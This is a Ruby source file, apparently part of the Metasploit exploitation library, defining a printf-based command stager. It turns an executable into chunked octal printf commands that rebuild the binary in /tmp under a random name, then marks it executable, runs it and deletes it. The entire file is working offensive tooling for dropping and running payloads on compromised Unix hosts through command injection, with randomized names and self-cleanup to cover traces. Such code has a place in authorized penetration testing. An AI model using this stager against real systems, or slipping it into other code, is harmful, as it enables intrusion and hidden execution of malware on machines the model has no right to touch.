# -*- coding: binary -*-

require 'rex/text'
require 'rex/arch'
require 'shellwords'

module Rex
module Exploitation

class CmdStagerPrintf < CmdStagerBase

  def initialize(exe)
    super

    @var_elf = Rex::Text.rand_text_alpha(5)
  end

  #
  # Override to ensure opts[:temp] is a correct *nix path
  #
  def generate(opts = {})
    opts[:temp] = opts[:temp] || '/tmp/'
    opts[:temp].gsub!(/\\/, '/')
    opts[:temp] = opts[:temp].shellescape
    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
    super
  end

  #
  # Override to set the extra byte count
  #
  def generate_cmds(opts)
    if opts[:noquotes]
      @cmd_start    = "printf "
      @cmd_end      = ">>#{@tempdir}#{@var_elf}"
      @prefix       = '\\\\'
      min_part_size = 5
    else
      @cmd_start    = "printf '"
      @cmd_end      = "'>>#{@tempdir}#{@var_elf}"
      @prefix       = '\\'
      min_part_size = 4
    end
    xtra_len = @cmd_start.length + @cmd_end.length
    opts.merge!({ :extra => xtra_len })

    if (opts[:linemax] - opts[:extra]) < min_part_size
      raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
    end

    super
  end

  #
  # Encode into a "\12\345" octal format that printf understands
  #
  def encode_payload(opts)
    return Rex::Text.to_octal(@exe, @prefix)
  end

  #
  # Override it to ensure that the octal representation of a byte isn't cut
  #
  def slice_up_payload(encoded, opts)
    encoded_dup = encoded.dup

    parts = []
    xtra_len = opts[:extra]
    xtra_len ||= 0
    while (encoded_dup.length > 0)
      temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))

      # remove the last octal escape if it is imcomplete
      if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
        pos = temp.rindex('\\')
        pos -= 1 if temp[pos-1] == '\\'
        temp.slice!(pos..temp.length-1)
      end

      parts << temp
      encoded_dup.slice!(0, temp.length)
    end

    parts
  end

  #
  # Combine the parts of the encoded file with the stuff that goes
  # before and after it.
  #
  def parts_to_commands(parts, opts)
    parts.map do |p|
      @cmd_start + p + @cmd_end
    end
  end

  #
  # Since the binary has been already dropped to disk, just execute and
  # delete it
  #
  def generate_cmds_decoder(opts)
    cmds = []
    # Make it all happen
    cmds << "chmod +x #{@tempdir}#{@var_elf}"

    if opts[:background]
      cmds << "#{@tempdir}#{@var_elf} & echo"
    else
      cmds << "#{@tempdir}#{@var_elf}"
    end

    # Clean up after unless requested not to..
    unless opts[:nodelete]
      cmds << "rm -f #{@tempdir}#{@var_elf}"
    end

    return cmds
  end

  def cmd_concat_operator
    " ; "
  end

end
end
end
